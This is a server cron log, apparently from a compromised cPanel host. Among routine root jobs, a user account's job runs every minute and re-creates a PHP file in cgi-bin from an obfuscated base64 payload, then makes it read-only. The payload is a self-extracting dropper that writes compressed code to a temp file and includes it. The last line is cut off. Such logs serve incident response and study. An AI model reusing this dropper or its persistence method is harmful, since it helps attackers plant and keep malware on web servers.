Apr 12 00:10:02 server CROND[28926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:11:01 server CROND[29150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:12:01 server CROND[29327]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 00:12:01 server CROND[29328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:13:01 server CROND[29406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:14:01 server CROND[29531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:15:01 server CROND[29613]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr 12 00:15:01 server CROND[29615]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 00:15:01 server CROND[29616]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 12 00:15:01 server CROND[29617]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 00:15:01 server CROND[29618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:16:01 server CROND[29864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:17:01 server CROND[29913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:18:01 server CROND[29991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:19:01 server CROND[30060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:20:01 server CROND[30125]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 00:20:01 server CROND[30127]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 00:20:01 server CROND[30129]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 00:20:01 server CROND[30130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:20:01 server CROND[30128]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 00:21:01 server CROND[30341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:22:01 server CROND[30400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 00:23:01 server CROND[30459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1N